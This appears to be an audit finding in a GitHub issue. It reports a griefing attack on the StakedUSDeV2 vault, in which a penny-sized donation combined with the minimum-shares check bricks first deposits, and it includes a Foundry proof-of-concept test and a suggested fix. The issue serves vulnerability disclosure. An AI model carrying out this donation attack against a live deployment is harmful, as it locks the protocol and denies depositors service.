StakedUSDeV2 can be bricked for a penny.
The _checkMinShares() requirement called after any deposit (and withdrawal)
function _checkMinShares() internal view {
uint256 _totalSupply = totalSupply();
if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}
reverts a first deposit which returns less than 1e18 shares. The share price is (totalSupply() + 1)/(totalAssets() + 1) so this first minimal deposit would normally be one USDe dollar, since 1e18 * (0 + 1)/(0 + 1) = 1e18. But by donating a USDe directly to the newly deployed StakedUSDeV2 the minimum first deposit becomes (a + 1) * 1e18, since (a + 1) * 1e18 * (0 + 1)/(a + 1) = 1e18.
A donation of as little as a penny (a = 1e16) thus forces the first deposit to be at least ten quadrillion and one USDe dollars ((1e16 + 1) * 1e18), which effectively bricks the contract.
Paste into StakedUSDe.t.sol
function testInflationBricking() public {
uint256 penny = 1e16;
uint256 gazillion = 1e34 + 1e18; // = (1e16 + 1) * MIN_SHARES = ten quadrillion and one dollars.
usdeToken.mint(alice, penny);
usdeToken.mint(bob, gazillion);
// Alice donates a penny to StakedUSDe
vm.startPrank(alice);
usdeToken.transfer(address(stakedUSDe), penny);
// Bob cannot deposit less than ten quadrillion and one dollars.
vm.startPrank(bob);
usdeToken.approve(address(stakedUSDe), gazillion);
vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
stakedUSDe.deposit(gazillion - 1, bob);
stakedUSDe.deposit(gazillion, bob);
assertEq(usdeToken.balanceOf(bob), 0);
assertEq(usdeToken.balanceOf(address(stakedUSDe)), gazillion + penny);
assertEq(stakedUSDe.balanceOf(bob), 1e18);
}
Remove the minimum shares restriction and instead prevent inflation attacks by an initial deposit.
ERC4626
The text was updated successfully, but these errors were encountered:
š 1 eugenioclrc reacted with thumbs up emoji
All reactions